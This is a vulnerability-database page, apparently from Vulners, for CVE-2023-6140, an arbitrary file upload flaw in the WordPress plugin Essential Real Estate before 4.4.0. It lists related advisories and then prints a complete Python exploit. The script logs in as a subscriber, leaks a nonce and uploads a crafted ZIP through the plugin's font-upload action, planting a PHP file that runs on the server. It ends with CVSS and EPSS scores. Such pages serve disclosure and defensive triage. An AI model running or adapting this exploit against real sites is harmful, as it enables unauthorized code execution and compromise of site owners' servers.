Essential Real Estate < 4.4.0 - Subscriber+ Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2023-6140 | 25 Jan 202415:11 | – | circl | |
| WordPress Plugin Essential Real Estate Security Vulnerability | 8 Jan 202400:00 | – | cnnvd | |
| CVE-2023-6140 | 8 Jan 202419:00 | – | cve | |
| CVE-2023-6140 Essential Real Estate < 4.4 - Subscriber+ Arbitrary File Upload | 8 Jan 202419:00 | – | cvelist | |
| CVE-2023-6140 | 8 Jan 202419:15 | – | nvd | |
| CVE-2023-6140 | 8 Jan 202419:15 | – | osv | |
| Remote code execution | 8 Jan 202419:15 | – | prion | |
| PT-2024-14887 · WordPress · Essential Real Estate | 8 Jan 202400:00 | – | ptsecurity | |
| CVE-2023-6140 | 23 May 202504:57 | – | redhatcve | |
| CVE-2023-6140 Essential Real Estate < 4.4 - Subscriber+ Arbitrary File Upload | 8 Jan 202419:00 | – | vulnrichment |
10
from io import BytesIO
import requests
import zipfile
import sys
import re
if len(sys.argv) != 4:
print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
sys.exit()
url = sys.argv[1].rstrip('/')
with requests.Session() as s:
'''
This exploit requires an account on the site (subscriber+)
'''
print('Logging in..')
# Log into WordPress using our Subscriber account
res = s.post(
url + '/wp-login.php',
headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})
print('Leaking nonce..')
# Leak nonce
nonce = re.search(r'GSF_META_DATA.*"nonce":"([0-9a-f]+)"', s.get(url + '/wp-admin/profile.php?action=delete').text)
if not nonce:
print('Couldn\'t find nonce!')
sys.exit()
nonce = nonce.group(1)
print('Creating malicious ZIP file..')
# Create a zip file in memory
zip_buffer = BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
# Malicious file whose name will launch phpinfo() later
zip_file.writestr('<?php phpinfo();die();__halt_compiler();?>', '')
# Add an empty style.css file
zip_file.writestr('style.css', '')
# A lot of useless file to give the user time to access the uploaded shell
for i in range(1000000):
zip_file.writestr(f'{i}.woff', 'A')
# Seek back to the beginning of the buffer
zip_buffer.seek(0)
print(f'Sending malicious font: Time to access {url}/wp-content/uploads/gsf-fonts/phpinfo.php in your browser!')
# Send malicious request uploading our shell
print(s.post(
url + '/wp-admin/admin-ajax.php?action=gsf_upload_fonts',
data={'_nonce': nonce, 'name': 'malicious_font2'},
files={'file_font': ('phpinfo.php', zip_buffer, 'application/zip')}).text)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Dec 2023 00:00Current
9.1High risk
Vulners AI Score9.1
CVSS 3.18.8
EPSS0.01095
SSVC